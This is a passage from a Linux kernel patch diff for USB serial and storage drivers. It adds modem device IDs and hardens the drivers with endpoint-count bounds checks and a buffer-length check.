0x6001, 0xff, 0xff, 0xff), /* 4G LTE usb-modem U901 */ + .driver_info = (kernel_ulong_t)&net_intf3_blacklist }, { USB_DEVICE(QUALCOMM_VENDOR_ID, 0x6613)}, /* Onda H600/ZTE MF330 */ { USB_DEVICE(QUALCOMM_VENDOR_ID, 0x0023)}, /* ONYX 3G device */ { USB_DEVICE(QUALCOMM_VENDOR_ID, 0x9000)}, /* SIMCom SIM5218 */ + { USB_DEVICE(QUALCOMM_VENDOR_ID, 0x9003), /* Quectel UC20 */ + .driver_info = (kernel_ulong_t)&net_intf4_blacklist }, { USB_DEVICE(CMOTECH_VENDOR_ID, CMOTECH_PRODUCT_6001) }, { USB_DEVICE(CMOTECH_VENDOR_ID, CMOTECH_PRODUCT_CMU_300) }, { USB_DEVICE(CMOTECH_VENDOR_ID, CMOTECH_PRODUCT_6003), @@ -1120,6 +1199,16 @@ static const struct usb_device_id option_ids[] = { { USB_DEVICE(TELIT_VENDOR_ID, TELIT_PRODUCT_CC864_SINGLE) }, { USB_DEVICE(TELIT_VENDOR_ID, TELIT_PRODUCT_DE910_DUAL) }, { USB_DEVICE(TELIT_VENDOR_ID, TELIT_PRODUCT_UE910_V2) }, + { USB_DEVICE(TELIT_VENDOR_ID, TELIT_PRODUCT_LE922_USBCFG0), + .driver_info = (kernel_ulong_t)&telit_le922_blacklist_usbcfg0 }, + { USB_DEVICE(TELIT_VENDOR_ID, TELIT_PRODUCT_LE922_USBCFG3), + .driver_info = (kernel_ulong_t)&telit_le922_blacklist_usbcfg3 }, + { USB_DEVICE_INTERFACE_CLASS(TELIT_VENDOR_ID, TELIT_PRODUCT_LE922_USBCFG5, 0xff), + .driver_info = (kernel_ulong_t)&telit_le922_blacklist_usbcfg0 }, + { USB_DEVICE(TELIT_VENDOR_ID, TELIT_PRODUCT_LE910), + .driver_info = (kernel_ulong_t)&telit_le910_blacklist }, + { USB_DEVICE(TELIT_VENDOR_ID, TELIT_PRODUCT_LE910_USBCFG4), + .driver_info = (kernel_ulong_t)&telit_le922_blacklist_usbcfg3 }, { USB_DEVICE(TELIT_VENDOR_ID, TELIT_PRODUCT_LE920), .driver_info = (kernel_ulong_t)&telit_le920_blacklist }, { USB_DEVICE_AND_INTERFACE_INFO(ZTE_VENDOR_ID, ZTE_PRODUCT_MF622, 0xff, 0xff, 0xff) }, /* ZTE WCDMA products */ @@ -1544,13 +1633,26 @@ static const struct usb_device_id option_ids[] = { { USB_DEVICE_AND_INTERFACE_INFO(ZTE_VENDOR_ID, 0xff93, 0xff, 0xff, 0xff) }, { USB_DEVICE_AND_INTERFACE_INFO(ZTE_VENDOR_ID, 0xff94, 0xff, 0xff, 0xff) }, - /* NOTE: most ZTE CDMA devices should be driven by zte_ev, not option */ + { USB_DEVICE_AND_INTERFACE_INFO(ZTE_VENDOR_ID, ZTE_PRODUCT_CDMA_TECH, 0xff, 0xff, 0xff) }, + { USB_DEVICE_AND_INTERFACE_INFO(ZTE_VENDOR_ID, ZTE_PRODUCT_AC2726, 0xff, 0xff, 0xff) }, + { USB_DEVICE_AND_INTERFACE_INFO(ZTE_VENDOR_ID, ZTE_PRODUCT_AC8710T, 0xff, 0xff, 0xff) }, { USB_DEVICE_AND_INTERFACE_INFO(ZTE_VENDOR_ID, ZTE_PRODUCT_MC2718, 0xff, 0xff, 0xff), .driver_info = (kernel_ulong_t)&zte_mc2718_z_blacklist }, + { USB_DEVICE_AND_INTERFACE_INFO(ZTE_VENDOR_ID, ZTE_PRODUCT_AD3812, 0xff, 0xff, 0xff), + .driver_info = (kernel_ulong_t)&zte_ad3812_z_blacklist }, + { USB_DEVICE_AND_INTERFACE_INFO(ZTE_VENDOR_ID, ZTE_PRODUCT_MC2716, 0xff, 0xff, 0xff), + .driver_info = (kernel_ulong_t)&zte_mc2716_z_blacklist }, + { USB_DEVICE(ZTE_VENDOR_ID, ZTE_PRODUCT_ME3620_L), + .driver_info = (kernel_ulong_t)&zte_me3620_xl_blacklist }, + { USB_DEVICE(ZTE_VENDOR_ID, ZTE_PRODUCT_ME3620_MBIM), + .driver_info = (kernel_ulong_t)&zte_me3620_mbim_blacklist }, + { USB_DEVICE(ZTE_VENDOR_ID, ZTE_PRODUCT_ME3620_X), + .driver_info = (kernel_ulong_t)&zte_me3620_xl_blacklist }, + { USB_DEVICE(ZTE_VENDOR_ID, ZTE_PRODUCT_ZM8620_X), + .driver_info = (kernel_ulong_t)&zte_zm8620_x_blacklist }, { USB_VENDOR_AND_INTERFACE_INFO(ZTE_VENDOR_ID, 0xff, 0x02, 0x01) }, { USB_VENDOR_AND_INTERFACE_INFO(ZTE_VENDOR_ID, 0xff, 0x02, 0x05) }, { USB_VENDOR_AND_INTERFACE_INFO(ZTE_VENDOR_ID, 0xff, 0x86, 0x10) }, - { USB_DEVICE_AND_INTERFACE_INFO(ZTE_VENDOR_ID, ZTE_PRODUCT_AC2726, 0xff, 0xff, 0xff) }, { USB_DEVICE(BENQ_VENDOR_ID, BENQ_PRODUCT_H10) }, { USB_DEVICE(DLINK_VENDOR_ID, DLINK_PRODUCT_DWM_652) }, @@ -1566,6 +1668,8 @@ static const struct usb_device_id option_ids[] = { { USB_DEVICE(ALINK_VENDOR_ID, 0x9000) }, { USB_DEVICE(ALINK_VENDOR_ID, ALINK_PRODUCT_PH300) }, { USB_DEVICE_AND_INTERFACE_INFO(ALINK_VENDOR_ID, ALINK_PRODUCT_3GU, 0xff, 0xff, 0xff) }, + { USB_DEVICE(ALINK_VENDOR_ID, SIMCOM_PRODUCT_SIM7100E), + .driver_info = (kernel_ulong_t)&simcom_sim7100e_blacklist }, { USB_DEVICE(ALCATEL_VENDOR_ID, ALCATEL_PRODUCT_X060S_X200), .driver_info = (kernel_ulong_t)&alcatel_x200_blacklist }, @@ -1586,10 +1690,14 @@ static const struct usb_device_id option_ids[] = { { USB_DEVICE(LONGCHEER_VENDOR_ID, FOUR_G_SYSTEMS_PRODUCT_W14), .driver_info = (kernel_ulong_t)&four_g_w14_blacklist }, + { USB_DEVICE(LONGCHEER_VENDOR_ID, FOUR_G_SYSTEMS_PRODUCT_W100), + .driver_info = (kernel_ulong_t)&four_g_w100_blacklist + }, { USB_DEVICE_INTERFACE_CLASS(LONGCHEER_VENDOR_ID, SPEEDUP_PRODUCT_SU9800, 0xff) }, { USB_DEVICE(LONGCHEER_VENDOR_ID, ZOOM_PRODUCT_4597) }, { USB_DEVICE(LONGCHEER_VENDOR_ID, IBALL_3_5G_CONNECT) }, { USB_DEVICE(HAIER_VENDOR_ID, HAIER_PRODUCT_CE100) }, + { USB_DEVICE_AND_INTERFACE_INFO(HAIER_VENDOR_ID, HAIER_PRODUCT_CE81B, 0xff, 0xff, 0xff) }, /* Pirelli */ { USB_DEVICE_INTERFACE_CLASS(PIRELLI_VENDOR_ID, PIRELLI_PRODUCT_C100_1, 0xff) }, { USB_DEVICE_INTERFACE_CLASS(PIRELLI_VENDOR_ID, PIRELLI_PRODUCT_C100_2, 0xff) }, @@ -1612,10 +1720,16 @@ static const struct usb_device_id option_ids[] = { { USB_DEVICE(CINTERION_VENDOR_ID, CINTERION_PRODUCT_EU3_P) }, { USB_DEVICE(CINTERION_VENDOR_ID, CINTERION_PRODUCT_PH8), .driver_info = (kernel_ulong_t)&net_intf4_blacklist }, - { USB_DEVICE(CINTERION_VENDOR_ID, CINTERION_PRODUCT_AHXX) }, + { USB_DEVICE_INTERFACE_CLASS(CINTERION_VENDOR_ID, CINTERION_PRODUCT_AHXX, 0xff) }, { USB_DEVICE(CINTERION_VENDOR_ID, CINTERION_PRODUCT_PLXX), .driver_info = (kernel_ulong_t)&net_intf4_blacklist }, - { USB_DEVICE(CINTERION_VENDOR_ID, CINTERION_PRODUCT_HC28_MDM) }, + { USB_DEVICE_INTERFACE_CLASS(CINTERION_VENDOR_ID, CINTERION_PRODUCT_PH8_2RMNET, 0xff), + .driver_info = (kernel_ulong_t)&cinterion_rmnet2_blacklist }, + { USB_DEVICE_INTERFACE_CLASS(CINTERION_VENDOR_ID, CINTERION_PRODUCT_PH8_AUDIO, 0xff), + .driver_info = (kernel_ulong_t)&net_intf4_blacklist }, + { USB_DEVICE_INTERFACE_CLASS(CINTERION_VENDOR_ID, CINTERION_PRODUCT_AHXX_2RMNET, 0xff) }, + { USB_DEVICE_INTERFACE_CLASS(CINTERION_VENDOR_ID, CINTERION_PRODUCT_AHXX_AUDIO, 0xff) }, + { USB_DEVICE(CINTERION_VENDOR_ID, CINTERION_PRODUCT_HC28_MDM) }, { USB_DEVICE(CINTERION_VENDOR_ID, CINTERION_PRODUCT_HC28_MDMNET) }, { USB_DEVICE(SIEMENS_VENDOR_ID, CINTERION_PRODUCT_HC25_MDM) }, { USB_DEVICE(SIEMENS_VENDOR_ID, CINTERION_PRODUCT_HC25_MDMNET) }, @@ -1721,9 +1835,13 @@ static const struct usb_device_id option_ids[] = { { USB_DEVICE_AND_INTERFACE_INFO(0x2001, 0x7d02, 0xff, 0x00, 0x00) }, { USB_DEVICE_AND_INTERFACE_INFO(0x2001, 0x7d03, 0xff, 0x02, 0x01) }, { USB_DEVICE_AND_INTERFACE_INFO(0x2001, 0x7d03, 0xff, 0x00, 0x00) }, + { USB_DEVICE_INTERFACE_CLASS(0x2001, 0x7e19, 0xff), /* D-Link DWM-221 B1 */ + .driver_info = (kernel_ulong_t)&net_intf4_blacklist }, { USB_DEVICE_AND_INTERFACE_INFO(0x07d1, 0x3e01, 0xff, 0xff, 0xff) }, /* D-Link DWM-152/C1 */ { USB_DEVICE_AND_INTERFACE_INFO(0x07d1, 0x3e02, 0xff, 0xff, 0xff) }, /* D-Link DWM-156/C1 */ + { USB_DEVICE_INTERFACE_CLASS(0x2020, 0x4000, 0xff) }, /* OLICARD300 - MT6225 */ { USB_DEVICE(INOVIA_VENDOR_ID, INOVIA_SEW858) }, + { USB_DEVICE(VIATELECOM_VENDOR_ID, VIATELECOM_PRODUCT_CDS7) }, { } /* Terminating entry */ }; MODULE_DEVICE_TABLE(usb, option_ids); @@ -1917,6 +2035,8 @@ static void option_instat_callback(struct urb *urb) dev_dbg(dev, "%s: type %x req %x\n", __func__, req_pkt->bRequestType, req_pkt->bRequest); } + } else if (status == -ENOENT || status == -ESHUTDOWN) { + dev_dbg(dev, "%s: urb stopped: %d\n", __func__, status); } else dev_err(dev, "%s: error %d\n", __func__, status); diff --git a/drivers/usb/serial/pl2303.c b/drivers/usb/serial/pl2303.c index a0b58e252073c..33313caed504e 100644 --- a/drivers/usb/serial/pl2303.c +++ b/drivers/usb/serial/pl2303.c @@ -47,6 +47,7 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(PL2303_VENDOR_ID, PL2303_PRODUCT_ID_GPRS) }, { USB_DEVICE(PL2303_VENDOR_ID, PL2303_PRODUCT_ID_HCR331) }, { USB_DEVICE(PL2303_VENDOR_ID, PL2303_PRODUCT_ID_MOTOROLA) }, + { USB_DEVICE(PL2303_VENDOR_ID, PL2303_PRODUCT_ID_ZTEK) }, { USB_DEVICE(IODATA_VENDOR_ID, IODATA_PRODUCT_ID) }, { USB_DEVICE(IODATA_VENDOR_ID, IODATA_PRODUCT_ID_RSAQ5) }, { USB_DEVICE(ATEN_VENDOR_ID, ATEN_PRODUCT_ID) }, @@ -62,7 +63,6 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(DCU10_VENDOR_ID, DCU10_PRODUCT_ID) }, { USB_DEVICE(SITECOM_VENDOR_ID, SITECOM_PRODUCT_ID) }, { USB_DEVICE(ALCATEL_VENDOR_ID, ALCATEL_PRODUCT_ID) }, - { USB_DEVICE(SAMSUNG_VENDOR_ID, SAMSUNG_PRODUCT_ID) }, { USB_DEVICE(SIEMENS_VENDOR_ID, SIEMENS_PRODUCT_ID_SX1) }, { USB_DEVICE(SIEMENS_VENDOR_ID, SIEMENS_PRODUCT_ID_X65) }, { USB_DEVICE(SIEMENS_VENDOR_ID, SIEMENS_PRODUCT_ID_X75) }, diff --git a/drivers/usb/serial/pl2303.h b/drivers/usb/serial/pl2303.h index 42bc082896ac8..e3b7af8adfb73 100644 --- a/drivers/usb/serial/pl2303.h +++ b/drivers/usb/serial/pl2303.h @@ -22,6 +22,7 @@ #define PL2303_PRODUCT_ID_GPRS 0x0609 #define PL2303_PRODUCT_ID_HCR331 0x331a #define PL2303_PRODUCT_ID_MOTOROLA 0x0307 +#define PL2303_PRODUCT_ID_ZTEK 0xe1f1 #define ATEN_VENDOR_ID 0x0557 #define ATEN_VENDOR_ID2 0x0547 @@ -61,10 +62,6 @@ #define ALCATEL_VENDOR_ID 0x11f7 #define ALCATEL_PRODUCT_ID 0x02df -/* Samsung I330 phone cradle */ -#define SAMSUNG_VENDOR_ID 0x04e8 -#define SAMSUNG_PRODUCT_ID 0x8001 - #define SIEMENS_VENDOR_ID 0x11f5 #define SIEMENS_PRODUCT_ID_SX1 0x0001 #define SIEMENS_PRODUCT_ID_X65 0x0003 diff --git a/drivers/usb/serial/quatech2.c b/drivers/usb/serial/quatech2.c index 02b0803425c5d..13824b5ca3439 100644 --- a/drivers/usb/serial/quatech2.c +++ b/drivers/usb/serial/quatech2.c @@ -141,6 +141,7 @@ static void qt2_release(struct usb_serial *serial) serial_priv = usb_get_serial_data(serial); + usb_kill_urb(serial_priv->read_urb); usb_free_urb(serial_priv->read_urb); kfree(serial_priv); } diff --git a/drivers/usb/serial/sierra.c b/drivers/usb/serial/sierra.c index 4e45908541238..af9f82a1fcdee 100644 --- a/drivers/usb/serial/sierra.c +++ b/drivers/usb/serial/sierra.c @@ -282,14 +282,20 @@ static const struct usb_device_id id_table[] = { /* Sierra Wireless HSPA Non-Composite Device */ { USB_DEVICE_AND_INTERFACE_INFO(0x1199, 0x6892, 0xFF, 0xFF, 0xFF)}, { USB_DEVICE(0x1199, 0x6893) }, /* Sierra Wireless Device */ - { USB_DEVICE(0x1199, 0x68A3), /* Sierra Wireless Direct IP modems */ + /* Sierra Wireless Direct IP modems */ + { USB_DEVICE_AND_INTERFACE_INFO(0x1199, 0x68A3, 0xFF, 0xFF, 0xFF), .driver_info = (kernel_ulong_t)&direct_ip_interface_blacklist }, + { USB_DEVICE_AND_INTERFACE_INFO(0x1199, 0x68AA, 0xFF, 0xFF, 0xFF), + .driver_info = (kernel_ulong_t)&direct_ip_interface_blacklist + }, + { USB_DEVICE(0x1199, 0x68AB) }, /* Sierra Wireless AR8550 */ /* AT&T Direct IP LTE modems */ { USB_DEVICE_AND_INTERFACE_INFO(0x0F3D, 0x68AA, 0xFF, 0xFF, 0xFF), .driver_info = (kernel_ulong_t)&direct_ip_interface_blacklist }, - { USB_DEVICE(0x0f3d, 0x68A3), /* Airprime/Sierra Wireless Direct IP modems */ + /* Airprime/Sierra Wireless Direct IP modems */ + { USB_DEVICE_AND_INTERFACE_INFO(0x0F3D, 0x68A3, 0xFF, 0xFF, 0xFF), .driver_info = (kernel_ulong_t)&direct_ip_interface_blacklist }, diff --git a/drivers/usb/serial/ssu100.c b/drivers/usb/serial/ssu100.c index 5b62dbbdf996b..8f5f361348640 100644 --- a/drivers/usb/serial/ssu100.c +++ b/drivers/usb/serial/ssu100.c @@ -495,10 +495,9 @@ static void ssu100_update_lsr(struct usb_serial_port *port, u8 lsr, if (*tty_flag == TTY_NORMAL) *tty_flag = TTY_FRAME; } - if (lsr & UART_LSR_OE){ + if (lsr & UART_LSR_OE) { port->icount.overrun++; - if (*tty_flag == TTY_NORMAL) - *tty_flag = TTY_OVERRUN; + tty_insert_flip_char(&port->port, 0, TTY_OVERRUN); } } @@ -516,12 +515,8 @@ static void ssu100_process_read_urb(struct urb *urb) if ((len >= 4) && (packet[0] == 0x1b) && (packet[1] == 0x1b) && ((packet[2] == 0x00) || (packet[2] == 0x01))) { - if (packet[2] == 0x00) { + if (packet[2] == 0x00) ssu100_update_lsr(port, packet[3], &flag); - if (flag == TTY_OVERRUN) - tty_insert_flip_char(&port->port, 0, - TTY_OVERRUN); - } if (packet[2] == 0x01) ssu100_update_msr(port, packet[3]); diff --git a/drivers/usb/serial/symbolserial.c b/drivers/usb/serial/symbolserial.c index 9b1648945e7a8..1e2d86d4f539e 100644 --- a/drivers/usb/serial/symbolserial.c +++ b/drivers/usb/serial/symbolserial.c @@ -97,7 +97,7 @@ static void symbol_int_callback(struct urb *urb) static int symbol_open(struct tty_struct *tty, struct usb_serial_port *port) { - struct symbol_private *priv = usb_get_serial_data(port->serial); + struct symbol_private *priv = usb_get_serial_port_data(port); unsigned long flags; int result = 0; @@ -123,7 +123,7 @@ static void symbol_close(struct usb_serial_port *port) static void symbol_throttle(struct tty_struct *tty) { struct usb_serial_port *port = tty->driver_data; - struct symbol_private *priv = usb_get_serial_data(port->serial); + struct symbol_private *priv = usb_get_serial_port_data(port); spin_lock_irq(&priv->lock); priv->throttled = true; @@ -133,7 +133,7 @@ static void symbol_throttle(struct tty_struct *tty) static void symbol_unthrottle(struct tty_struct *tty) { struct usb_serial_port *port = tty->driver_data; - struct symbol_private *priv = usb_get_serial_data(port->serial); + struct symbol_private *priv = usb_get_serial_port_data(port); int result; bool was_throttled; diff --git a/drivers/usb/serial/ti_usb_3410_5052.c b/drivers/usb/serial/ti_usb_3410_5052.c index 4cc84c0c990d8..0a7c68fa5e5e2 100644 --- a/drivers/usb/serial/ti_usb_3410_5052.c +++ b/drivers/usb/serial/ti_usb_3410_5052.c @@ -158,7 +158,7 @@ static unsigned int product_5052_count; /* the array dimension is the number of default entries plus */ /* TI_EXTRA_VID_PID_COUNT user defined entries plus 1 terminating */ /* null entry */ -static struct usb_device_id ti_id_table_3410[15+TI_EXTRA_VID_PID_COUNT+1] = { +static struct usb_device_id ti_id_table_3410[16+TI_EXTRA_VID_PID_COUNT+1] = { { USB_DEVICE(TI_VENDOR_ID, TI_3410_PRODUCT_ID) }, { USB_DEVICE(TI_VENDOR_ID, TI_3410_EZ430_ID) }, { USB_DEVICE(MTS_VENDOR_ID, MTS_GSM_NO_FW_PRODUCT_ID) }, @@ -184,7 +184,7 @@ static struct usb_device_id ti_id_table_5052[5+TI_EXTRA_VID_PID_COUNT+1] = { { USB_DEVICE(TI_VENDOR_ID, TI_5052_FIRMWARE_PRODUCT_ID) }, }; -static struct usb_device_id ti_id_table_combined[19+2*TI_EXTRA_VID_PID_COUNT+1] = { +static struct usb_device_id ti_id_table_combined[20+2*TI_EXTRA_VID_PID_COUNT+1] = { { USB_DEVICE(TI_VENDOR_ID, TI_3410_PRODUCT_ID) }, { USB_DEVICE(TI_VENDOR_ID, TI_3410_EZ430_ID) }, { USB_DEVICE(MTS_VENDOR_ID, MTS_GSM_NO_FW_PRODUCT_ID) }, diff --git a/drivers/usb/serial/usb-serial.c b/drivers/usb/serial/usb-serial.c index c1032d42b9d57..80d689f0fda9e 100644 --- a/drivers/usb/serial/usb-serial.c +++ b/drivers/usb/serial/usb-serial.c @@ -778,29 +778,39 @@ static int usb_serial_probe(struct usb_interface *interface, if (usb_endpoint_is_bulk_in(endpoint)) { /* we found a bulk in endpoint */ dev_dbg(ddev, "found bulk in on endpoint %d\n", i); - bulk_in_endpoint[num_bulk_in] = endpoint; - ++num_bulk_in; + if (num_bulk_in < MAX_NUM_PORTS) { + bulk_in_endpoint[num_bulk_in] = endpoint; + ++num_bulk_in; + } } if (usb_endpoint_is_bulk_out(endpoint)) { /* we found a bulk out endpoint */ dev_dbg(ddev, "found bulk out on endpoint %d\n", i); - bulk_out_endpoint[num_bulk_out] = endpoint; - ++num_bulk_out; + if (num_bulk_out < MAX_NUM_PORTS) { + bulk_out_endpoint[num_bulk_out] = endpoint; + ++num_bulk_out; + } } if (usb_endpoint_is_int_in(endpoint)) { /* we found a interrupt in endpoint */ dev_dbg(ddev, "found interrupt in on endpoint %d\n", i); - interrupt_in_endpoint[num_interrupt_in] = endpoint; - ++num_interrupt_in; + if (num_interrupt_in < MAX_NUM_PORTS) { + interrupt_in_endpoint[num_interrupt_in] = + endpoint; + ++num_interrupt_in; + } } if (usb_endpoint_is_int_out(endpoint)) { /* we found an interrupt out endpoint */ dev_dbg(ddev, "found interrupt out on endpoint %d\n", i); - interrupt_out_endpoint[num_interrupt_out] = endpoint; - ++num_interrupt_out; + if (num_interrupt_out < MAX_NUM_PORTS) { + interrupt_out_endpoint[num_interrupt_out] = + endpoint; + ++num_interrupt_out; + } } } @@ -823,8 +833,10 @@ static int usb_serial_probe(struct usb_interface *interface, if (usb_endpoint_is_int_in(endpoint)) { /* we found a interrupt in endpoint */ dev_dbg(ddev, "found interrupt in for Prolific device on separate interface\n"); - interrupt_in_endpoint[num_interrupt_in] = endpoint; - ++num_interrupt_in; + if (num_interrupt_in < MAX_NUM_PORTS) { + interrupt_in_endpoint[num_interrupt_in] = endpoint; + ++num_interrupt_in; + } } } } @@ -864,6 +876,11 @@ static int usb_serial_probe(struct usb_interface *interface, num_ports = type->num_ports; } + if (num_ports > MAX_NUM_PORTS) { + dev_warn(ddev, "too many ports requested: %d\n", num_ports); + num_ports = MAX_NUM_PORTS; + } + serial->num_ports = num_ports; serial->num_bulk_in = num_bulk_in; serial->num_bulk_out = num_bulk_out; diff --git a/drivers/usb/serial/visor.c b/drivers/usb/serial/visor.c index 9910aa2edf4b1..605068e6acf2c 100644 --- a/drivers/usb/serial/visor.c +++ b/drivers/usb/serial/visor.c @@ -96,7 +96,7 @@ static struct usb_device_id id_table [] = { .driver_info = (kernel_ulong_t)&palm_os_4_probe }, { USB_DEVICE(ACER_VENDOR_ID, ACER_S10_ID), .driver_info = (kernel_ulong_t)&palm_os_4_probe }, - { USB_DEVICE(SAMSUNG_VENDOR_ID, SAMSUNG_SCH_I330_ID), + { USB_DEVICE_INTERFACE_CLASS(SAMSUNG_VENDOR_ID, SAMSUNG_SCH_I330_ID, 0xff), .driver_info = (kernel_ulong_t)&palm_os_4_probe }, { USB_DEVICE(SAMSUNG_VENDOR_ID, SAMSUNG_SPH_I500_ID), .driver_info = (kernel_ulong_t)&palm_os_4_probe }, @@ -551,6 +551,11 @@ static int treo_attach(struct usb_serial *serial) (serial->num_interrupt_in == 0)) return 0; + if (serial->num_bulk_in < 2 || serial->num_interrupt_in < 2) { + dev_err(&serial->interface->dev, "missing endpoints\n"); + return -ENODEV; + } + /* * It appears that Treos and Kyoceras want to use the * 1st bulk in endpoint to communicate with the 2nd bulk out endpoint, @@ -604,8 +609,10 @@ static int clie_5_attach(struct usb_serial *serial) */ /* some sanity check */ - if (serial->num_ports < 2) - return -1; + if (serial->num_bulk_out < 2) { + dev_err(&serial->interface->dev, "missing bulk out endpoints\n"); + return -ENODEV; + } /* port 0 now uses the modified endpoint Address */ port = serial->port[0]; diff --git a/drivers/usb/serial/whiteheat.c b/drivers/usb/serial/whiteheat.c index 347caad47a121..ae79c2245a737 100644 --- a/drivers/usb/serial/whiteheat.c +++ b/drivers/usb/serial/whiteheat.c @@ -81,6 +81,8 @@ static int whiteheat_firmware_download(struct usb_serial *serial, static int whiteheat_firmware_attach(struct usb_serial *serial); /* function prototypes for the Connect Tech WhiteHEAT serial converter */ +static int whiteheat_probe(struct usb_serial *serial, + const struct usb_device_id *id); static int whiteheat_attach(struct usb_serial *serial); static void whiteheat_release(struct usb_serial *serial); static int whiteheat_port_probe(struct usb_serial_port *port); @@ -117,6 +119,7 @@ static struct usb_serial_driver whiteheat_device = { .description = "Connect Tech - WhiteHEAT", .id_table = id_table_std, .num_ports = 4, + .probe = whiteheat_probe, .attach = whiteheat_attach, .release = whiteheat_release, .port_probe = whiteheat_port_probe, @@ -218,6 +221,34 @@ static int whiteheat_firmware_attach(struct usb_serial *serial) /***************************************************************************** * Connect Tech's White Heat serial driver functions *****************************************************************************/ + +static int whiteheat_probe(struct usb_serial *serial, + const struct usb_device_id *id) +{ + struct usb_host_interface *iface_desc; + struct usb_endpoint_descriptor *endpoint; + size_t num_bulk_in = 0; + size_t num_bulk_out = 0; + size_t min_num_bulk; + unsigned int i; + + iface_desc = serial->interface->cur_altsetting; + + for (i = 0; i < iface_desc->desc.bNumEndpoints; i++) { + endpoint = &iface_desc->endpoint[i].desc; + if (usb_endpoint_is_bulk_in(endpoint)) + ++num_bulk_in; + if (usb_endpoint_is_bulk_out(endpoint)) + ++num_bulk_out; + } + + min_num_bulk = COMMAND_PORT + 1; + if (num_bulk_in < min_num_bulk || num_bulk_out < min_num_bulk) + return -ENODEV; + + return 0; +} + static int whiteheat_attach(struct usb_serial *serial) { struct usb_serial_port *command_port; @@ -521,6 +552,10 @@ static void command_port_read_callback(struct urb *urb) dev_dbg(&urb->dev->dev, "%s - command_info is NULL, exiting.\n", __func__); return; } + if (!urb->actual_length) { + dev_dbg(&urb->dev->dev, "%s - empty response, exiting.\n", __func__); + return; + } if (status) { dev_dbg(&urb->dev->dev, "%s - nonzero urb status: %d\n", __func__, status); if (status != -ENOENT) @@ -541,7 +576,8 @@ static void command_port_read_callback(struct urb *urb) /* These are unsolicited reports from the firmware, hence no waiting command to wakeup */ dev_dbg(&urb->dev->dev, "%s - event received\n", __func__); - } else if (data[0] == WHITEHEAT_GET_DTR_RTS) { + } else if ((data[0] == WHITEHEAT_GET_DTR_RTS) && + (urb->actual_length - 1 <= sizeof(command_info->result_buffer))) { memcpy(command_info->result_buffer, &data[1], urb->actual_length - 1); command_info->command_finished = WHITEHEAT_CMD_COMPLETE; diff --git a/drivers/usb/serial/zte_ev.c b/drivers/usb/serial/zte_ev.c index eae2c873b39ff..d6a3fbd029be2 100644 --- a/drivers/usb/serial/zte_ev.c +++ b/drivers/usb/serial/zte_ev.c @@ -273,28 +273,16 @@ static void zte_ev_usb_serial_close(struct usb_serial_port *port) } static const struct usb_device_id id_table[] = { - /* AC8710, AC8710T */ - { USB_DEVICE_AND_INTERFACE_INFO(0x19d2, 0xffff, 0xff, 0xff, 0xff) }, - /* AC8700 */ - { USB_DEVICE_AND_INTERFACE_INFO(0x19d2, 0xfffe, 0xff, 0xff, 0xff) }, - /* MG880 */ - { USB_DEVICE(0x19d2, 0xfffd) }, - { USB_DEVICE(0x19d2, 0xfffc) }, - { USB_DEVICE(0x19d2, 0xfffb) }, - /* AC8710_V3 */ + { USB_DEVICE(0x19d2, 0xffec) }, + { USB_DEVICE(0x19d2, 0xffee) }, { USB_DEVICE(0x19d2, 0xfff6) }, { USB_DEVICE(0x19d2, 0xfff7) }, { USB_DEVICE(0x19d2, 0xfff8) }, { USB_DEVICE(0x19d2, 0xfff9) }, - { USB_DEVICE(0x19d2, 0xffee) }, - /* AC2716, MC2716 */ - { USB_DEVICE_AND_INTERFACE_INFO(0x19d2, 0xffed, 0xff, 0xff, 0xff) }, - /* AD3812 */ - { USB_DEVICE_AND_INTERFACE_INFO(0x19d2, 0xffeb, 0xff, 0xff, 0xff) }, - { USB_DEVICE(0x19d2, 0xffec) }, - { USB_DEVICE(0x05C6, 0x3197) }, - { USB_DEVICE(0x05C6, 0x6000) }, - { USB_DEVICE(0x05C6, 0x9008) }, + { USB_DEVICE(0x19d2, 0xfffb) }, + { USB_DEVICE(0x19d2, 0xfffc) }, + /* MG880 */ + { USB_DEVICE(0x19d2, 0xfffd) }, { }, }; MODULE_DEVICE_TABLE(usb, id_table); diff --git a/drivers/usb/storage/transport.c b/drivers/usb/storage/transport.c index 22c7d4360fa22..b1d815eb6d0bb 100644 --- a/drivers/usb/storage/transport.c +++ b/drivers/usb/storage/transport.c @@ -1118,6 +1118,31 @@ int usb_stor_Bulk_transport(struct scsi_cmnd *srb, struct us_data *us) */ if (result == USB_STOR_XFER_LONG) fake_sense = 1; + + /* + * Sometimes a device will mistakenly skip the data phase + * and go directly to the status phase without sending a + * zero-length packet. If we get a 13-byte response here, + * check whether it really is a CSW. + */ + if (result == USB_STOR_XFER_SHORT && + srb->sc_data_direction == DMA_FROM_DEVICE && + transfer_length - scsi_get_resid(srb) == + US_BULK_CS_WRAP_LEN) { + struct scatterlist *sg = NULL; + unsigned int offset = 0; + + if (usb_stor_access_xfer_buf((unsigned char *) bcs, + US_BULK_CS_WRAP_LEN, srb, &sg, + &offset, FROM_XFER_BUF) == + US_BULK_CS_WRAP_LEN && + bcs->Signature == + cpu_to_le32(US_BULK_CS_SIGN)) { + usb_stor_dbg(us, "Device skipped data phase\n"); + scsi_set_resid(srb, transfer_length); + goto skipped_data_phase; + } + } } /* See flow chart on pg 15 of the Bulk Only Transport spec for @@ -1153,6 +1178,7 @@ int usb_stor_Bulk_transport(struct scsi_cmnd *srb, struct us_data *us) if (result != USB_STOR_XFER_GOOD) return USB_STOR_TRANSPORT_ERROR; + skipped_data_phase: /* check bulk status */ residue = le32_to_cpu(bcs->Residue); usb_stor_dbg(us, "Bulk Status S 0x%x T 0x%x R %u Stat 0x%x\n", diff --git a/drivers/usb/storage/unusual_devs.h b/drivers/usb/storage/unusual_devs.h index 042c83b010463..da380a99c6b81 100644 --- a/drivers/usb/storage/unusual_devs.h +++ b/drivers/usb/storage/unusual_devs.h @@ -101,6 +101,12 @@ UNUSUAL_DEV( 0x03f0, 0x4002, 0x0001, 0x0001, "PhotoSmart R707", USB_SC_DEVICE, USB_PR_DEVICE, NULL, US_FL_FIX_CAPACITY), +UNUSUAL_DEV( 0x03f3, 0x0001, 0x0000, 0x9999, + "Adaptec", + "USBConnect 2000", + USB_SC_DEVICE, USB_PR_DEVICE, usb_stor_euscsi_init, + US_FL_SCM_MULT_TARG ), + /* Reported by Sebastian Kapfer * and Olaf Hering (different bcd's, same vendor/product) * for USB floppies that need the SINGLE_LUN enforcement. @@ -741,6 +747,12 @@ UNUSUAL_DEV( 0x059b, 0x0001, 0x0100, 0x0100, USB_SC_DEVICE, USB_PR_DEVICE, NULL, US_FL_SINGLE_LUN ), +UNUSUAL_DEV( 0x059b, 0x0040, 